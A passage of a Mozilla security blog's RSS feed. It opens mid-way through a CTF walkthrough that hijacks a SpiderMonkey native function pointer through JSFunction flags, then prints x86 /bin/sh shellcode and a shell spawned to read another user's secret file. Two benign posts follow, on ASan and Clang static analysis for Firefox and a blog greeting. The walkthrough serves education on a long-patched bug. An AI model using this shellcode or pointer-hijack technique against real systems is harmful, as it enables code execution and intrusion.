struct JSFunction {<br />
    JSObject        object;       /* GC'ed object header */<br />
    uint16          nargs;        /* maximum number of specified arguments,<br />
                                     reflected as f.length/f.arity */<br />
    uint16          flags;        /* flags, see JSFUN_* below and in jsapi.h */<br />
[...]<br />
</code><br />
The &#8220;flags&#8221; parameter is interesting here because it decides how a JSFunction object is interpreted:<br />
<code><br />
#define FUN_KIND(fun)        ((fun)->flags &#038; JSFUN_KINDMASK)<br />
#define FUN_INTERPRETED(fun) (FUN_KIND(fun) >= JSFUN_INTERPRETED)<br />
</code><br />
So we want to make sure that our function is not FUN_INTERPRETED by making our flags low. Additionally, in jsapi.h we have:<br />
<code><br />
#define JSFUN_FAST_NATIVE     0x0800    /* JSFastNative needs no JSStackFrame */<br />
</code><br />
Fast sounds good, native is even better <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  So we&#8217;re targeting this piece of code in the jsops.cpp line 2208 by setting fun->flags to 0&#215;0800:<br />
<code><br />
if (fun->flags &#038; JSFUN_FAST_NATIVE) {<br />
                    [...]<br />
                    ok = ((JSFastNative) fun->u.n.native)(cx, argc, vp);<br />
</code></p>
<p>Of course, we also need to make sure fun->u.n.native is controlled by us, so we just use a large address slide after the flags field, containing our address (for now, 0xdeadbeef). The changes are in <a href="https://people.mozilla.com/~choller/ctf/ch15/gen5.pl" target="_blank">this script</a>. Running it yields:</p>
<p><code><br />
Program received signal SIGSEGV, Segmentation fault.<br />
0xdeadbeef in ?? ()<br />
#0  0xdeadbeef in ?? ()<br />
#1  0x08176af4 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:2208<br />
</code></p>
<p>From here, it should be easy to complete the challenge with some shell code <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<h4><strong>Spawning the shell</strong></h4>
<p>All we have to do now is putting some shellcode in our buffer and run it by pointing our native function pointer to it. Here is some very simple code to start /bin/sh, taken from the web:</p>
<p><code><br />
$ perl -e 'print "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"' | x86dis -e 0 -s att<br />
00000000 31 C0                          xor     %eax, %eax<br />
00000002 89 C2                          mov     %eax, %edx<br />
00000004 50                             push    %eax<br />
00000005 68 6E 2F 73 68                 push    $0x68732F6E<br />
0000000A 68 2F 2F 62 69                 push    $0x69622F2F<br />
0000000F 89 E3                          mov     %esp, %ebx<br />
00000011 89 C1                          mov     %eax, %ecx<br />
00000013 B0 0B                          mov     $0x0B, %al<br />
00000015 52                             push    %edx<br />
00000016 51                             push    %ecx<br />
00000017 53                             push    %ebx<br />
00000018 89 E1                          mov     %esp, %ecx<br />
0000001A CD 80                          int     $0x80<br />
</code></p>
<p>Of course we need to convert this into two-byte groups first and swap the bytes, so we can include it in the string buffer using our unicode format. Adding the shellcode to the end of our buffer and determining the address (either by bruteforcing the last two bytes or just looking it up in GDB), we end up with:</p>
<p><code><br />
process 21287 is executing new program: /bin/dash<br />
$<br />
</code></p>
<p>From here, it&#8217;s only one more step to the secret required for getting the 500 scorepoints that this challenge is worth. Taking a look at /home/ we see the other user&#8217;s home. Inside, we see a file called &#8220;secret&#8221;. Using &#8220;cat&#8221; on that file gives us the secret string.</p>
<p>The final version of the perl script is available <a href="https://people.mozilla.com/~choller/ctf/ch15/gen6.pl" target="_blank">here</a>. Please note that addresses mentioned in this walkthrough are not necessarily correct for the original challenge or your own machine, so you might need to adjust them.</p>
<h4><strong>Conclusion and Acknowledgements</strong></h4>
<p>The challenge was not easy at all, especially if one lacked the source code and the correct bug number. Even with that information available, exploiting this vulnerability is not easy, but still interesting.</p>
<p>Thanks to freddyb and all the volunteers for organizing this CTF, it was a great experience. Thanks also to Maximilian Grothusmann (own-hero), Jason Orendorff and Luke Wagner (Mozilla JS Developers) to help me understand some of the internals of the JS engine, so I could describe them a lot better here.</p>
<h4><strong>Disclaimer</strong></h4>
<p>The exploit walkthrough described here was part of a challenge prepared by Mozilla itself, hosted in a controlled environment for <em>educational purposes</em>. The vulnerability exploited was old and patched long ago. Additionally, exploiting this vulnerability in Firefox requires a lot more effort than in the shell. The shell is primarily used as a debugging tool, end users should not be affected by this description at all.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.mozilla.org/decoder/2012/02/01/mozilla-ctf-challenge-15-walkthrough/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trying new code analysis techniques</title>
		<link>http://blog.mozilla.org/decoder/2012/01/27/trying-new-code-analysis-techniques/</link>
		<comments>http://blog.mozilla.org/decoder/2012/01/27/trying-new-code-analysis-techniques/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 17:25:36 +0000</pubDate>
		<dc:creator>decoder</dc:creator>
				<category><![CDATA[Code Analysis]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://blog.mozilla.org/decoder/?p=14</guid>
		<description><![CDATA[TweetRecently, we decided to try two new code analysis techniques for the Mozilla code base, the memory error detector &#8220;Address Sanitizer (ASan)&#8221; and  a static analysis tool, the &#8220;Clang Static Analyzer.&#8221; While both tools are very different (especially how they work), they also have something in common: Both use the LLVM framework (and the C/C++ [...]]]></description>
				<content:encoded><![CDATA[<div id="tweetbutton14" class="tw_button" style=""><a href="http://twitter.com/share?url=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F01%2F27%2Ftrying-new-code-analysis-techniques%2F&amp;via=mozdeco&amp;text=Trying%20new%20code%20analysis%20techniques&amp;related=&amp;lang=en&amp;count=horizontal&amp;counturl=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F01%2F27%2Ftrying-new-code-analysis-techniques%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://blog.mozilla.org/decoder/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><div id="magicdomid151">Recently, we decided to try two new code analysis techniques for the Mozilla code base, the memory error detector &#8220;Address Sanitizer (ASan)&#8221; and  a static analysis tool, the &#8220;Clang Static Analyzer.&#8221; <span id="more-14"></span>While both tools are very different (especially how they work), they also have something in common: Both use the LLVM framework (and the C/C++ frontend Clang). These tools are only two examples of the wide range of possible applications of LLVM in security and we encourage everyone interested in these topics to have a look at it.</div>
<p><br/></p>
<div>
<h4><strong>Address Sanitizer (ASan)</strong></h4>
<p>ASan is a memory error detector, designed to discover invalid memory reads/writes (both on the stack and the heap), e.g. stack/heap overflows, out-of-bounds access or invalid/use-after free problems. These goals are very similar to those of <a href="http://valgrind.org/docs/manual/mc-manual.html">Valgrind&#8217;s MemCheck</a>. However, because ASan utilizes <em>compile-time code instrumentation</em> rather than a runtime emulation approach, <strong>programs can run much faster</strong> under ASan compared to Valgrind. Furthermore, Valgrind&#8217;s Memcheck is not designed to detect stack-based memory problems (there is however an experimental tool called &#8220;sgcheck&#8221; for Valgrind that is supposed to detect these).</p>
<p>During code compilation, ASan adds code to all memory accesses which checks if the memory being read or written is valid. In order to be able to tell if memory is valid, it stores the state in so called &#8220;shadow memory&#8221; in a very efficient way. By hooking the malloc and free functions at runtime, ASan can then keep track of allocated memory. Additionally, the instrumentation adds &#8220;red zones&#8221; around stack variables, in order to detect stack-based overflows. More technical details about how ASan works can be found <a href="http://code.google.com/p/address-sanitizer/wiki/AddressSanitizerAlgorithm">in their wiki</a>.</p>
<p>Since the Chrome Security Team has <a href="http://blog.chromium.org/2011/06/testing-chromium-addresssanitizer-fast.html">found</a> quite a few security issues so far by using ASan, it seemed likely that it would help us finding issues within Firefox as well. Especially for the purpose of fuzzing and running automated tests we assumed it could be beneficial to use a very performant memory checking tool. Additionally, we figured that there might be stack-based memory problems that Valgrind previously missed.</p>
<p>After working with our build system, sorting out some issues with compiler and linker flags not being propagated correctly, problems with shared objects that led us to patching Clang, we produced working Firefox builds with ASan. It should be noted that much of this complexity is caused by our build system rather than ASan itself, so it&#8217;s possible that other projects are a lot easier to adapt. To date, we have identified 4 bugs through our use of ASan. In addition, another bug was reported by Atte Kettunen of OUSPG. It should be noted that these bugs are only the result of experimental testing, as we have not integrated ASan into our testing infrastructure yet.</p>
<p>Due to several bugs being identified so far (despite the fact that we&#8217;re using a lot of automated testing, even with Valgrind), we have reason to <strong>believe that ASan could be a valuable addition to the Firefox testing process</strong>. We also think that the huge performance gain for builds using ASan, combined with the guarantee that certain classes of bugs that Valgrind finds are also detected by ASan as well, will be helpful in certain situations: Imagine a special nightly/debug branch of Firefox for developers, that detects memory errors while running but is still fast enough for regular browsing. Another major field is fuzz testing, where speed is certainly an important factor.</p>
<p>You can search for all ASan bugs in Bugzilla using <a href="https://bugzil.la/ALL%20sw:%5basan%5d">this search query</a>. (Note that some bugs are currently not visible due to them being security-related since they involve memory corruption.)</p>
<p>We&#8217;d like to encourage other security researchers to try Firefox built with ASan and report bugs. For that purpose, we now have a manual for <a href="https://developer.mozilla.org/en/Building_Firefox_with_Address_Sanitizer">building Firefox with ASan</a>. However, as following that manual requires quite some time and effort , we also decided provided some <a href="https://people.mozilla.com/~choller/firefox/asan/">unofficial builds of Firefox with Address Sanitizer</a> so you can get an initial impression without too much effort. Please note that these builds are experimental and you will not get the normal Firefox updates. Don&#8217;t use them in a production environment. Also note that the executable files are larger than normal due to being not stripped (so you can get a symbolized trace for an ASan crash). Especially with the optimized builds, you will notice that browsing is still possible at a decent speed (even faster than regular debug builds sometimes ! ).
</div>
<h4><strong>Clang Static Analyzer</strong></h4>
<p>The second analysis technique we&#8217;re experimenting with now is the static code analysis provided by &#8220;Clang Static Analyzer&#8221;. This tool is included with Clang/LLVM and utilizes Clang&#8217;s internals to find a wide range of defects. For example, variables possibly being used uninitialized, out-of-bounds memory access, invalid pointers or just unused/redundant code.</p>
<p>In order to use the static analysis tool, one needs to integrate it into the Firefox build process (which can be complicated and requires some work, as we have already seen with ASan). Fortunately,<br />
Gregory Szorc (:gps) did an outstanding job in figuring out <a href="https://developer.mozilla.org/en/Clang_Static_Analysis">how to run the Clang Static Analysis on our code</a>. Since then, we&#8217;ve been manually scanning the results for anything that is obviously not a false positive and filing bugs from these reports. Currently, all bugs found by Clang Static Analysis are tracked via <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=712350">bug 712350</a>. While some of them have turned out to be false positives (and/or bugs in the analysis tool itself, which we reported back to the LLVM project), others have been identified as real bugs. Overall we believe that the analysis is valuable despite the issues it still has, because some of the bugs found so far seem hard to detect by other means. Also, some of the remaining issues can surely be addressed by the LLVM team once they have the necessary bug reports that demonstrate these problems.</p>
<p>If you are interested in inspecting some of the results, feel free to look at some of the reports produced by the tool <a href="https://people.mozilla.com/~choller/firefox/clang-static/">here</a>. Note the the &#8220;suppression.txt&#8221; file contains some already triaged reports that are either false positives or already filed as bugs.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.mozilla.org/decoder/2012/01/27/trying-new-code-analysis-techniques/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>It&#8217;s a Bird, It&#8217;s a Plane&#8230;</title>
		<link>http://blog.mozilla.org/decoder/2012/01/27/its-a-bird-its-a-plane/</link>
		<comments>http://blog.mozilla.org/decoder/2012/01/27/its-a-bird-its-a-plane/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 13:25:46 +0000</pubDate>
		<dc:creator>decoder</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.mozilla.org/decoder/?p=10</guid>
		<description><![CDATA[TweetNo! It&#8217;s real, I do have a blog now. And I promise to try keeping it filled with posts about my work, security in general and technical stuff. Enjoy]]></description>
				<content:encoded><![CDATA[<div id="tweetbutton10" class="tw_button" style=""><a href="http://twitter.com/share?url=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F01%2F27%2Fits-a-bird-its-a-plane%2F&amp;via=mozdeco&amp;text=It%26%238217%3Bs%20a%20Bird%2C%20It%26%238217%3Bs%20a%20Plane%26%238230%3B&amp;related=&amp;lang=en&amp;count=horizontal&amp;counturl=http%3A%2F%2Fblog.mozilla.org%2Fdecoder%2F2012%2F01%2F27%2Fits-a-bird-its-a-plane%2F" class="twitter-share-button"  style="width:55px;height:22px;background:transparent url('http://blog.mozilla.org/decoder/wp-content/plugins/wp-tweet-button/tweetn.png') no-repeat  0 0;text-align:left;text-indent:-9999px;display:block;">Tweet</a></div><p>No! <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  It&#8217;s real, I do have a blog now.</p>
<p>And I promise to try keeping it filled with posts about my work, security in general and technical stuff.</p>
<p>Enjoy <img src='http://blog.mozilla.org/decoder/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.mozilla.org/decoder/2012/01/27/its-a-bird-its-a-plane/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
